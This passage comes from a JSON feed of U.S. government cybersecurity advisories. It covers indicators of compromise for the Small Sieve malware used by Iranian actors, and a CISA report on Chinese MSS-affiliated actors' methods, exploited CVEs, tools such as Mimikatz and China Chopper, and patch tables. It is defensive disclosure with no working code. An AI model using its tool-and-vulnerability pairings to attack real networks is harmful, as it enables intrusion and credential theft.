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)\n\n_Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling_\n\n#### \n\n#### **Detection **\n\nTable 6 outlines indicators of compromise. \n\n\n_Table 6: Indicators of Compromise_\n\nType | Description | **Values** \n---|---|--- \nPath | Telegram Session Persistence File (Obfuscated) | `%LocalAppData%\\MicrosoftWindowsOutlookDataPlus.txt ` \nPath | Installation path of the Small Sieve binary | `%AppData%\\OutlookMicrosift\\index.exe ` \nRegistry value name | Persistence Registry Key pointing to index.exe with a `\u201cPlatypus\u201d `argument | `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift` \n \n#### \n\n#### **String Recover Script**\n\n![](/sites/default/files/publications/Script.png)\n\n_Figure 4: String Recovery Script_\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field-offices](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>). For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). United Kingdom organizations should report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://www.ncsc.gov.uk/section/about-this-website/contact-us>) (monitored 24 hours) or for urgent assistance call 03000 200 973.\n\n### Revisions\n\nFebruary 24, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-24T12:00:00", "type": "ics", "title": "Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2022-02-24T12:00:00", "id": "AA22-055A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:20", "description": "### Summary\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has consistently observed Chinese Ministry of State Security (MSS)-affiliated cyber threat actors using publicly available information sources and common, well-known tactics, techniques, and procedures (TTPs) to target U.S. Government agencies. CISA has observed these\u2014and other threat actors with varying degrees of skill\u2014routinely using open-source information to plan and execute cyber operations. CISA leveraged the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) and Pre-ATT&CK frameworks to characterize the TTPs used by Chinese MSS-affiliated actors. This product was written by CISA with contributions by the Federal Bureau of Investigation (FBI).\n\n### Key Takeaways\n\n * Chinese MSS-affiliated cyber threat actors use open-source information to plan and conduct cyber operations.\n * Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.\n * Maintaining a rigorous patching cycle continues to be the best defense against the most frequently used attacks.\n * If critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network.\n * This Advisory identifies some of the more common\u2014yet most effective\u2014TTPs employed by cyber threat actors, including Chinese MSS-affiliated cyber threat actors.\n\n[Click here](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>) for a PDF version of this report.\n\n### Technical Details\n\nThrough the operation of the National Cybersecurity Protection System (NCPS) and by fulfilling its mission as the national risk advisor, CISA has observed Chinese MSS-affiliated cyber threat actors operating from the People\u2019s Republic of China using commercially available information sources and open-source exploitation tools to target U.S. Government agency networks.\n\nAccording to a recent U.S. Department of Justice indictment, MSS-affiliated actors have targeted various industries across the United States and other countries\u2014including high-tech manufacturing; medical device, civil, and industrial engineering; business, educational, and gaming software; solar energy; pharmaceuticals; and defense\u2014in a campaign that lasted over ten years.[[1](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)] These hackers acted for both their own personal gain and the benefit of the Chinese MSS.[[2](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)]\n\nAccording to the indictment,\n\n_To conceal the theft of information from victim networks and otherwise evade detection, the defendants typically packaged victim data in encrypted Roshal Archive Compressed files (RAR files), changed RAR file and victim documents\u2019 names and extensions (e.g., from \u201c.rar\u201d to \u201c.jpg\u201d) and system timestamps, and concealed programs and documents at innocuous-seeming locations on victim networks and in victim networks\u2019 \u201crecycle bins.\u201d The defendants frequently returned to re-victimize companies, government entities, and organizations from which they had previously stolen data, in some cases years after the initial successful data theft. In several instances, however, the defendants were unsuccessful in this regard, due to the efforts of the FBI and network defenders._\n\nThe continued use of open-source tools by Chinese MSS-affiliated cyber threat actors highlights that adversaries can use relatively low-complexity capabilities to identify and exploit target networks. In most cases, cyber operations are successful because misconfigurations and immature patch management programs allow actors to plan and execute attacks using existing vulnerabilities and known exploits. Widespread implementation of robust configuration and patch management programs would greatly increase network security. It would also reduce the speed and frequency of opportunistic attacks by forcing threat actors to dedicate time and funding to research unknown vulnerabilities and develop custom exploitation tools.\n\n### MITRE PRE-ATT&CK\u00ae Framework for Analysis\n\nIn the last 12 months, CISA analysts have routinely observed Chinese MSS-affiliated actors using the following PRE-ATT&CK\u00ae Framework TTPs.\n\n#### Target Selection and Technical Information Gathering\n\n_Target Selection_ [[TA0014](<https://attack.mitre.org/versions/v7/tactics/TA0014/>)] is a critical part of cyber operations. While cyber threat actors\u2019 motivations and intents are often unknown, they often make their selections based on the target network\u2019s security posture. Threat actors can use information sources such as Shodan, the Common Vulnerabilities and Exposure (CVE) database, and the National Vulnerabilities Database (NVD).[[3](<https://www.shodan.io/>)][[4](<https://cve.mitre.org/>)][[5](<https://nvd.nist.gov/>)]\n\n * Shodan is an internet search engine that can be used to identify vulnerable devices connected to the internet. Shodan queries can also be customized to discover specific vulnerabilities on devices, which enables sophisticated cyber threat actors to use relatively unsophisticated techniques to execute opportunistic attacks on susceptible targets.\n * The CVE database and the NVD contain detailed information about vulnerabilities in applications, appliances, and operating systems that can be exploited by cyber threat actors if they remain unpatched. These sources also provide risk assessments if any of the recorded vulnerabilities are successfully exploited.\n\nThese information sources have legitimate uses for network defense. CISA analysts are able to identify Federal Government systems that may be susceptible to exploitation attempts by using Shodan, the CVE database, and the NVD to enrich NCPS information. Unlike threat actors, CISA takes the necessary actions to notify network owners of their exposure in order to prevent an impending intrusion or quickly identify intrusions as they occur.\n\nWhile using these data sources, CISA analysts have observed a correlation between the public release of a vulnerability and targeted scanning of systems identified as being vulnerable. This correlation suggests that cyber threat actors also rely on Shodan, the CVE database, the NVD, and other open-source information to identify targets of opportunity and plan cyber operations. Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits. These information sources therefore contain invaluable information that can lead cyber threat actors to implement highly effective attacks.\n\nCISA has observed Chinese MSS-affiliated actors using the techniques in table 1 to gather technical information to enable cyber operations against Federal Government networks (_Technical Information Gathering_ [[TA0015](<https://attack.mitre.org/versions/v7/tactics/TA0015/>)]).\n\n_Table 1: Technical information gathering techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1245](<https://attack.mitre.org/versions/v7/techniques/T1245/>)\n\n| \n\nDetermine Approach/Attack Vector\n\n| \n\nThe threat actors narrowed the attack vectors to relatively recent vulnerability disclosures with open-source exploits. \n \n[T1247](<https://attack.mitre.org/versions/v7/techniques/T1247/>)\n\n| \n\nAcquire Open Source Intelligence (OSINT) Data Sets and Information\n\n| \n\nCISA observed activity from network proxy service Internet Protocol (IP) addresses to three Federal Government webpages. This activity appeared to enable information gathering activities. \n \n[T1254](<https://attack.mitre.org/versions/v7/techniques/T1254/>)\n\n| \n\nConduct Active Scanning\n\n| \n\nCISA analysts reviewed the network activity of known threat actor IP addresses and found evidence of reconnaissance activity involving virtual security devices. \n \n#### Technical Weakness Identification\n\nCISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure. This targeting, scanning, and probing frequently leads to compromises at the hands of sophisticated cyber threat actors. In some cases, cyber threat actors have used the same vulnerabilities to compromise multiple organizations across many sectors. Organizations do not appear to be mitigating known vulnerabilities as quickly as cyber threat actors are exploiting them. CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[[6](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)]\n\nAdditionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.\n\n_Table 2: Significant CVEs targeted by Chinese MSS-affiliated actors in the last 12 months_\n\nVulnerability\n\n| \n\nObservations \n \n---|--- \n \nCVE-2020-5902: F5 Big-IP Vulnerability\n\n| \n\nCISA has conducted incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2020-5902. This is a vulnerability in F5\u2019s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[[7](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a >)] \n \nCVE-2019-19781: Citrix Virtual Private Network (VPN) Appliances\n\n| \n\nCISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances. CVE-2019-19781 enabled the actors to execute directory traversal attacks.[[8](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a >)] \n \nCVE-2019-11510: Pulse Secure VPN Servers\n\n| \n\nCISA has conducted multiple incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances\u2014to gain access to victim networks. Although Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.[[9](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a >)] \n \nCVE-2020-0688: Microsoft Exchange Server\n\n| \n\nCISA has observed the actors exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks. \n \nAdditionally, CISA has observed Chinese MSS-affiliated actors using the techniques listed in table 3 to identify technical weaknesses in Federal Government networks (_Technical Weakness Identification _[[TA0018](<https://attack.mitre.org/versions/v7/tactics/TA0018/>)]). \n\n_Table 3: Technical weakness identification techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1288](<https://attack.mitre.org/versions/v7/techniques/T1288/>)\n\n| \n\nAnalyze Architecture and Configuration Posture\n\n| \n\nCISA observed the cyber actors scanning a Federal Government agency for vulnerable web servers. CISA also observed the threat actors scanning for known vulnerable network appliance CVE-2019-11510. \n \n[T1291](<https://attack.mitre.org/versions/v7/techniques/T1291/>)\n\n| \n\nResearch Relevant Vulnerabilities\n\n| \n\nCISA has observed the threat actors scanning and reconnaissance of Federal Government internet-facing systems shortly after the disclosure of significant CVEs. \n \n#### Build Capabilities \n\nCISA analysts have observed cyber threat actors using command and control (C2) infrastructure as part of their cyber operations. These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (_Build Capabilities _[[TA0024](<https://attack.mitre.org/versions/v7/tactics/TA0024/>)]). CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4.\n\n_Table 4: Build capabilities observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1352](<https://attack.mitre.org/versions/v7/techniques/T1352/>)\n\n| \n\nC2 Protocol Development\n\n| \n\nCISA observed beaconing from a Federal Government entity to the threat actors\u2019 C2 server. \n \n[T1328](<https://attack.mitre.org/versions/v7/techniques/T1328/>)\n\n| \n\nBuy Domain Name\n\n| \n\nCISA has observed the use of domains purchased by the threat actors. \n \n[T1329](<https://attack.mitre.org/versions/v7/techniques/T1329/>)\n\n| \n\nAcquire and / or use of 3rd Party Infrastructure\n\n| \n\nCISA has observed the threat actors using virtual private servers to conduct cyber operations. \n \n[T1346](<https://attack.mitre.org/versions/v7/techniques/T1346>)\n\n| \n\nObtain/Re-use Payloads\n\n| \n\nCISA has observed the threat actors use and reuse existing capabilities. \n \n[T1349](<https://attack.mitre.org/versions/v7/techniques/T1349>)\n\n| \n\nBuild or Acquire Exploit\n\n| \n\nCISA has observed the threat actors using a variety of open-source and publicly available exploits and exploit code to compromise Federal Government networks. \n \n### MITRE ATT&CK Framework for Analysis\n\nCISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools to conduct their operations. For example, threat actors often leverage internet software repositories such as GitHub and Exploit-DB.[[10](<https://www.GitHub.com >)][[11](<https://exploit-db.com >)] Both repositories are commonly used for legitimate development and penetration testing and developing open-source code, but cyber threat actors can also use them to find code to enable nefarious actions.\n\nDuring incident response activities, CISA frequently observed Chinese government-affiliated actors using the open-source tools outlined in table 5.\n\n_Table 5: Common exploit tools CISA observed used by Chinese MSS-affiliated actors_\n\nTool\n\n| \n\nObservations \n \n---|--- \n \n[Cobalt Strike](<https://attack.mitre.org/versions/v7/software/S0154/>)\n\n| \n\nCISA has observed the threat actors using Cobalt Strike to target commercial and Federal Government networks. Cobalt Strike is a commercial penetration testing tool used to conduct red team operations. It contains a number of tools that complement the cyber threat actor\u2019s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers. \n \n[China Chopper Web Shell](<https://attack.mitre.org/versions/v7/software/S0020/>)\n\n| \n\nCISA has observed the actors successfully deploying China Chopper against organizations\u2019 networks. This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB. China Chopper is a web shell hosted on a web server. It is mainly used for web application attacks, and it is configured in a client/server relationship. China Chopper contains security scanners and can be used to upload files and brute-force passwords. \n \n[Mimikatz](<https://attack.mitre.org/versions/v7/software/S0002/>)\n\n| \n\nCISA has observed the actors using Mimikatz during their operations. This open-source tool is used to capture account credentials and perform privilege escalation with pass-the-hash attacks that allow an attacker to pass captured password hashes and authenticate to network devices.[[12](<https://www.varonis.com/blog/what-is-mimikatz/ >)] \n \nThe following sections list the ATT&CK Framework TTPs routinely employed by Chinese government-affiliated actors to conduct cyber operations as observed by CISA analysts.\n\n#### Initial Access \n\nIn the last 12 months, CISA has observed Chinese MSS-affiliated actors use spearphishing emails with embedded links to actor-owned infrastructure and, in some cases, compromise or poison legitimate sites to enable cyber operations.\n\nCISA has observed the threat actors using the _Initial Access_ [[TA0001](<https://attack.mitre.org/versions/v7/tactics/TA0001/>)] techniques identified in table 6.\n\n_Table 6: Initial access techniques observed by CISA_\n\n**MITRE ID**\n\n| \n\n**Name**\n\n| \n\n**Observation** \n \n---|---|--- \n \n[T1204.001](<https://attack.mitre.org/versions/v7/techniques/T1204/001/>)\n\n| \n\nUser Execution: Malicious Link\n\n| \n\nCISA has observed indications that users have clicked malicious links embedded in spearphishing emails that the threat actors sent \n \n[T1566.002](<https://attack.mitre.org/versions/v7/techniques/T1566/002>)\n\n| \n\nPhishing: Spearphishing Link\n\n| \n\nCISA analyzed network activity of a Federal Government entity and concluded that the threat actors sent a malicious email weaponized with links. \n \n[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190>)\n\n| \n\nExploit Public-Facing Application\n\n| \n\nCISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers. \n \nCyber threat actors can continue to successfully launch these types of low-complexity attacks\u2014as long as misconfigurations in operational environments and immature patch management programs remain in place\u2014by taking advantage of common vulnerabilities and using readily available exploits and information.\n\n#### Execution \n\nCISA analysts continue to observe beaconing activity indicative of compromise or ongoing access to Federal Government networks. This beaconing is a result of cyber threat actors successfully completing cyber operations that are often designed around emergent vulnerabilities and reliant on existing exploitation tools, as mentioned in this document.\n\nCISA has observed Chinese MSS-affiliated actors using the _Execution _[[TA0002](<https://attack.mitre.org/versions/v7/tactics/TA0002/>)] technique identified in table 7.\n\n_Table 7: Execution technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1072](<https://attack.mitre.org/versions/v7/techniques/T1072>)\n\n| \n\nSoftware Deployment Tools\n\n| \n\nCISA observed activity from a Federal Government IP address beaconing out to the threat actors\u2019 C2 server, which is usually an indication of compromise. \n \n#### Credential Access \n\nCyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks. While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals. Further, a threat actor does not require a high degree of competence or sophistication to successfully carry out this kind of opportunistic attack.\n\nCISA has observed Chinese MSS-affiliated actors using the _Credential Access_ [[TA0006](<https://attack.mitre.org/versions/v7/tactics/TA0006/>)] techniques highlighted in table 8.\n\n_Table 8: Credential access techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1003.001](<https://attack.mitre.org/versions/v7/techniques/T1003/001/>)\n\n| \n\nOperating System (OS) Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory\n\n| \n\nCISA observed the threat actors using Mimikatz in conjunction with coin miner protocols and software. The actors used Mimikatz to dump credentials from the OS using a variety of capabilities resident within the tool. \n \n[T1110.004](<https://attack.mitre.org/versions/v7/techniques/T1110/004>)\n\n| \n\nBrute Force: Credential Stuffing\n\n| \n\nCISA observed what was likely a brute-force attack of a Remote Desktop Protocol on a public-facing server. \n \n#### Discovery \n\nAs with any cyber operation, cyber threat actors must be able to confirm that their target is online and vulnerable\u2014there are a multitude of open-source scanning and reconnaissance tools available to them to use for this purpose. CISA consistently observes scanning activity across federal agencies that is indicative of discovery techniques. CISA has observed Chinese MSS-affiliated actors scanning Federal Government traffic using the discovery technique highlighted in table 9 (_Discovery_ [[TA0007](<https://attack.mitre.org/versions/v7/tactics/TA0007/>)]).\n\n_Table 9: Discovery technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1046](<https://attack.mitre.org/versions/v7/techniques/T1046/>)\n\n| \n\nNetwork Service Scanning\n\n| \n\nCISA has observed suspicious network scanning activity for various ports at Federal Government entities. \n \n#### Collection \n\nWithin weeks of public disclosure of CVE-2020-0688, CISA analysts identified traffic that was indicative of Chinese MSS-affiliated threat actors attempting to exploit this vulnerability using the _Collection_ [[TA0009](<https://attack.mitre.org/versions/v7/tactics/TA0009/>)] technique listed in table 10.\n\n_Table 10: Collection technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1114](<https://attack.mitre.org/versions/v7/techniques/T1114>)\n\n| \n\nEmail Collection\n\n| \n\nCISA observed the actors targeting CVE-2020-0688 to collect emails from the exchange servers found in Federal Government environments. \n \n#### Command and Control \n\nCISA analysts often observe cyber threat actors using external proxy tools or hop points to enable their cyber operations while remaining anonymous. These proxy tools may be commercially available infrastructure as a service (IaaS) or software as a service (SaaS) in the form of a web browser promising anonymity on the internet. For example, \u201cThe Onion Router\u201d (Tor) is often used by cyber threat actors for anonymity and C2. Actor\u2019s carefully choose proxy tools depending on their intended use. These techniques are relatively low in complexity and enabled by commercially available tools, yet they are highly effective and often reliant upon existing vulnerabilities and readily available exploits.\n\nCISA has observed Chinese MSS-affiliated actors using the _Command and Control_ [[TA0011](<https://attack.mitre.org/versions/v7/tactics/TA0011/>)] techniques listed in table 11.\n\n_Table 11: Command and control techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1090.002](<https://attack.mitre.org/versions/v7/techniques/T1090/002>)\n\n| \n\nProxy: External Proxy\n\n| \n\nCISA observed activity from a network proxy tool to 221 unique Federal Government agency IP addresses. \n \n[T1090.003](<https://attack.mitre.org/versions/v7/techniques/T1090/003>)\n\n| \n\nProxy: Multi-hop Proxy\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n[T1573.002](<https://attack.mitre.org/versions/v7/techniques/T1573/002>)\n\n| \n\nEncrypted Channel: Asymmetric Cryptography\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n### Mitigations\n\nCISA asserts with high confidence that sophisticated cyber threat actors will continue to use open-source resources and tools to target networks with a low security posture. When sophisticated cyber threat actors conduct operations against soft targets, it can negatively impact critical infrastructure, federal, and state, local, tribal, territorial government networks, possibly resulting in loss of critical data or personally identifiable information.\n\nCISA and the FBI recommend that organizations place an increased priority on patching the vulnerabilities routinely exploited by MSS-affiliated cyber actors. See table 12 for patch information on the CVEs mentioned in this report. For more information on vulnerabilities routinely exploited by sophisticated cyber actors, see [CISA Alert: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>).\n\n_Table 12: Patch Information for Vulnerabilities Routinely Exploited by MSS-affiliated Cyber Actors_\n\nVulnerability\n\n| \n\nVulnerable Products\n\n| \n\nPatch Information \n \n---|---|--- \n \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n\n| \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\n * Citrix Application Delivery Controller\n\n * Citrix Gateway\n\n * Citrix SDWAN WANOP\n\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 